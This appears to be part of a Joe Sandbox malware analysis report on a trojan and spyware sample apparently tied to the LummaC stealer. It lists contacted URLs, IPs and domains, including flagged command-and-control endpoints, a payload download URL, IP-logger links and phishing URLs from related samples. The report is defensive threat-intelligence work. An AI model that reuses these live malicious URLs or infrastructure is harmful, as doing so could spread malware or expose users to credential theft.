https://fitbudds.com/file/nixsudo.exeL	msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.com/15PRC48	4kN17cL4Tn.exe, 00000003.00000002.1359229221.000002A595DA1000.00000004.00000020.00020000.00000000.sdmp, 4kN17cL4Tn.exe, 00000003.00000003.1357335268.000002A595DA1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	333.exe, 00000005.00000002.1323178845.0000000034D93000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	333.exe, 00000005.00000002.1323178845.0000000034CA3000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515200951.0000000002854000.00000004.00000800.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896816212.0000000008E3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://trolltech.com/xml/features/report-start-end-entity	msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steam	msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/ts2ca.crl0	msiexec.exe, 0000000E.00000003.1845670682.0000000002C98000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bugreports.qt.io/Microsoft-IIS/4.Microsoft-IIS/5.Netscape-Enterprise/3.WebLogicRocketdetected	msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.com/15PRC4H	msiexec.exe, 0000000E.00000003.1553383688.0000000005856000.00000004.00000001.00020000.00000000.sdmp	false		high
http://127.0.0.1:%d%sin	333.exe, 00000005.00000000.1289635628.0000000000758000.00000002.00000001.01000000.00000009.sdmp, 333.exe, 00000005.00000002.1321247023.0000000031C3F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sputnik-1985.com/apioAeW	msiexec.exe, 0000000E.00000003.1580291597.000000000588F000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577166881.000000000588E000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577096189.000000000588D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/;	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://qt.digia.com/Product/Licensing/	OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001915000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://www.entrust.net/rpa0	msiexec.exe, 0000000E.00000003.1845722603.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/g2ca.crl0	msiexec.exe, 0000000E.00000003.1845670682.0000000002C98000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.phreedom.org/md5)08:27	msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/apics3	msiexec.exe, 0000000E.00000003.1580291597.000000000588F000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577166881.000000000588E000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577096189.000000000588D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.entrust.net03	msiexec.exe, 0000000E.00000003.1845670682.0000000002C98000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/api(w	msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.entrust.net02	msiexec.exe, 0000000E.00000003.1845722603.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net01	msiexec.exe, 0000000E.00000003.1845670682.0000000002C98000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845722603.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net00	msiexec.exe, 0000000E.00000003.1845670682.0000000002C98000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xml.org/sax/features/namespaceshttp://xml.org/sax/features/namespace-prefixeshttp://trolltech	msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
85.239.54.77	fitbudds.com	Russian Federation	134121	RAINBOW-HKRainbownetworklimitedHK	false
216.58.206.68	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
104.21.96.1	sputnik-1985.com	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	klipgylagyi.shop	European Union	13335	CLOUDFLARENETUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.188.178	iplogger.com	United States	13335	CLOUDFLARENETUS	false
104.21.76.57	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589091
Start date and time:	2025-01-11 09:24:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4kN17cL4Tn.exe renamed because original name is a hash value
Original Sample Name:	c002664469a48ede06c57b592a27b496bfc3cccb75e3fa468d4b3cf562563fc1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@33/23@31/12
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 78% Number of executed functions: 70 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 172.217.18.14, 64.233.167.84, 142.250.186.78, 142.250.186.46, 172.217.16.206, 199.232.214.172, 142.250.184.206, 142.250.181.238, 216.58.206.78, 142.250.185.238, 216.58.206.67, 142.250.186.174, 142.250.185.110, 13.107.246.45, 2.23.242.162, 20.12.23.50
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, time.windows.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Execution Graph export aborted for target 333.exe, PID 7636 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1588 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:25:57	API Interceptor	1x Sleep call for process: 333.exe modified
03:25:59	API Interceptor	1x Sleep call for process: 4kN17cL4Tn.exe modified
04:29:48	API Interceptor	1x Sleep call for process: more.com modified
04:29:48	API Interceptor	13x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	Exodus.txt.lnk	Get hash	malicious	StormKitty	Browse
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse
	https://freesourcecodes70738.emlnk.com/lt.php?x=3DZy~GDLVnab5KCs-Nu4WOae1qEoiN9xvxk1XaPMVXahD5B9-Uy.xuW-242imNX	Get hash	malicious	Unknown	Browse
	https://youtube.com0x360x380x370x340x370x340x370x300x370x330x330x610x320x660x320x660x360x310x360x640x360x360x370x320x320x650x370x320x370x350x320x660x370x320x360x620x320x650x370x300x360x380x370x300x330x660x360x390x360x340x330x640x330x320x330x300x330x300x320x360x370x330x360x390x370x340x360x350x350x660x360x390x360x340x330x640x370x330x330x310x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x320x360x310x360x650x360x650x360x350x370x320x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x330x360x630x360x390x360x330x360x620x320x360x360x350x370x360x360x350x360x650x370x340x330x330x330x640x330x310x320x620x320x350x330x320x340x360x320x620x320x350x330x350x340x320x330x320x330x350x330x300x320x350x330x350x340x340x320x620x320x350x330x350x340x320x360x390x360x650x360x340x360x350x370x380x350x660x360x320x350x660x360x330x320x350x330x350x340x340x320x620x320x350x340x340x330x300x320x350x330x390x330x330x320x350x340x340x330x300x320x350x340x320x340x320x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x300x320x350x340x320x330x320x320x350x340x340x330x300x320x350x340x320x340x340x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x310x320x350x330x380x340x360x320x620x320x350x340x340x330x310x320x350x330x380x330x310x320x350x340x340x330x310x320x350x330x380x330x320x320x350x340x340x330x340x370x380x360x340x390x320x390x330x370x320x330x300x390x340x370x330x340x300x330x340x2d0x380x380x340x330x340x370x330x340x300x340x390x300x350x370x330x370x340x330x300x340x300x330x340x380x320x2d0x340x300x390x340x380x2d0x320x2d0x340x380x380x320x2d0x330x320x380x380x340x370x370x320x390x390x320x380x380x380x340x370x340x370x320x390x300x340x390x340x370x320x340x300x380x320x340x370x340x370x320x620x320x640x320x620x320x350x340x340x330x300x320x350x330x390x330x340x320x350x340x340x330x300x320x350x340x320x330x350x320x350x340x340x330x300x320x350x340x320x340x330x320x350x340x340x330x300x320x350x340x320x330x380x320x350x340x340x330x300x320x350x340x320x340x310x320x350x340x340x330	Get hash	malicious	Unknown	Browse
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse
	http://www.jadavisinjurylawyers.com/	Get hash	malicious	Unknown	Browse
	http://txto.eu.org/	Get hash	malicious	Unknown	Browse
	https://noiclethomas.wixsite.com/rice	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0(4).eml	Get hash	malicious	Unknown	Browse
104.21.96.1	k9OEsV37GE.exe	Get hash	malicious	FormBook	Browse	www.uzshou.world/kbd2/?EtJTX=_JVX4ryxDRQpLJF&cNPH=ufZ7RYF4yLxNXVSq5Vx/4TYieRbcnKjskkbM3L5RbgB1pAgqHA7sfCNkYWLyXRMMwBB3JLbYKUw1FAOWml6VLpxPVZ4qXf58MsNUIQgw/PJ5HUGIvLQvrl5frN9PrRFpPiAd2cDcH6Sr
	gH3LlhcRzg.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/58m5/
	EIvidclKOb.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/0pqe/
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	www.aonline.top/fqlg/
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	pelisplus.so/administrator/index.php
	Recibos.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
104.18.95.41	https://freesourcecodes70738.emlnk.com/lt.php?x=3DZy~GDLVnab5KCs-Nu4WOae1qEoiN9xvxk1XaPMVXahD5B9-Uy.xuW-242imNX	Get hash	malicious	Unknown	Browse
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse
	https://services221.com/mm/	Get hash	malicious	HTMLPhisher	Browse
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse
	https://cocteldedeas.mx/rx567#cmVjaWJhc2VAc2VhbWFyaXRpbWEuY29t	Get hash	malicious	HTMLPhisher	Browse
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse
	https://probashkontho.com/work/Organization/privacy/index_.html	Get hash	malicious	Unknown	Browse
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse
85.239.54.77	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sputnik-1985.com	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	HouseholdsClicking.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	FeedStation.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	DodSussex.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	DangerousMidlands.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
challenges.cloudflare.com	https://freesourcecodes70738.emlnk.com/lt.php?x=3DZy~GDLVnab5KCs-Nu4WOae1qEoiN9xvxk1XaPMVXahD5B9-Uy.xuW-242imNX	Get hash	malicious	Unknown	Browse	104.18.94.41
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse	104.18.94.41
	http://@1800-web.com/new/auth/6XEcGVvsnjwXq8bbJloqbuPkeuHjc6rLcgYUe/bGVvbi5ncmF2ZXNAYXRvcy5uZXQ=	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://services221.com/mm/	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://cocteldedeas.mx/rx567#cmVjaWJhc2VAc2VhbWFyaXRpbWEuY29t	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
steamcommunity.com	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Setup.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	HouseholdsClicking.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
